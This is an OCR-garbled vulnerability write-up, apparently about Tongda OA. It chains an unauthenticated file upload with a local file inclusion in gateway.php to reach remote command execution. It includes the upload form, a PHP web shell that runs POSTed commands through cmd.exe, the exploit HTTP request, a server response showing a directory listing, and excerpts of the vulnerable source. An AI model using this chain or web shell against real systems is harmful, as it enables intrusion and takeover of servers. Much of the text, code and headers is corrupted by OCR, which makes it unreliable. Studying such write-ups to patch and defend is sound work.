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<html>
<body>

<form action="http://127.0.0.1/ispirit/im/upload.php”

method="post" enctype="multipart/form-data">

<input type="text"name='P' value =1 ></input>

<input type="text"name="MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST _UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>

<input type="submit" ></input>



</body>

</html>
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$phpwsh=new COM("Wscript.Shell") or die("Create
Wscript.Shell Failed!");

$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");
$stdout = $exec->Stdout();
$stroutput = $stdout->ReadAll();

echo $stroutput;
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POST fispiritinterface/gateway php HTTRA 1

Host: 127.0.0.1

User-Agent: Mozilla/s.0 (Mndows NT 10.0; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: texthitml ionsxhtmi+xml Tonixmlg=0.9 imag P g=0.8
Accept-Language: zh-CM zh;q=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US,q=0.3 en;gq=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: USER_NAME_COOKIE=admin; SID_1=a8424021; PHPSESSID=1; KEY_RANDOMDATA=8110
Upgrade-Insecure-Reguests: 1

Cache-Control: max-age=0

Cortert-Type: applicationiz-www-form-urlencoded

Contert-Length: 72

json={"url": "general/.J fattachim/20031 2980358?D.Iihu.jpg"}&mnd=du'|
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HTTP/.1 200 OK

Server: nginx

Diate: Fri, 20 Mar 2020 14:18:44 GMT
Cortent-Type: texthtml; charset=gbk
Connection: close

Wary: Accept-Encoding
H-Frame-Options: SAMECRIGIN
Content-Length: 586
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C:bug'tongda\l1webrootispiritinterface i Fl 3

2020/03/20 14:07 <DIR=
2020/03/20 14:07 <DIR=
2019/06/26 14:21 1,516 gateway.php
201911015 22:36 3,413 get_interface.php
2019/11/28 19:39 1,594 goto.php
202000103 12:15 60,851 interface.php
202000103 12:15 24,928 login.php
2019/07/22 11:19 630 waiting.config.php
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gateway.phpl.
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FETFEBESDEST UID EHEETLUEEPOSTHA X BTIRAE.

$TYPE = $_POST["TYPE"];

$DEST_UID = $_POST["DEST_UID"];

$dataBack

array();

if (($DEST_UID !=

"") && !td_verify_ids($ids)) {



$dataBack = array("status" => @, "content" => "-ERR "

_("BETIDERL") ) 5

echo json_encode(data2utf8($dataBack));

exit();
}
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if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == "1") {

if (strlen(urldecode($_FILES["ATTACHMENT"]["name"]))
I= strlen($_FILES["ATTACHMENT"]["name"])) {

$ FILES["ATTACHMENT"]["name"] =
urldecode($_FILES["ATTACHMENT"]["name"]);

}

$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
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if (!is_uploadable($ATTACH_NAME)) {



$ERROR_DESC =
sprintf(_("ZE1E BEEEA [%s 1SCHE"), substr($ATTACH_NAME,

strrpos($ATTACH_NAME, ".") + 1));
}
UL EA

$UPLOAD_FORBIDDEN_TYPE =
"php,php3,php4,php5,phpt,jsp,asp,aspx,"";
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if ($UPLOAD_MODE == "1") {

......

if ($MSG_CATE == "file") {

$CONTENT = "[fm]" . $ATTACHMENT ID . "|"
$ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";

......

$dataBack = array("status" => 1, "content" => $CONTENT,
"file _id" => $FILE_ID);

echo json_encode(data2utf8($dataBack));

exit();
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if ($json) {

$json

stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {

$keys = $value;

}
¥
if ($key == "url") {
$url = $val;
}
¥
if ($url 1= "") {
if (substr($url, @, 1) == "/") {...}
if ((strpos($url, "general/") !== false) ||
(strpos($url, "ispirit/") l== false) || (strpos($url,
"module/") == false)) {

include_once $url;



exit();
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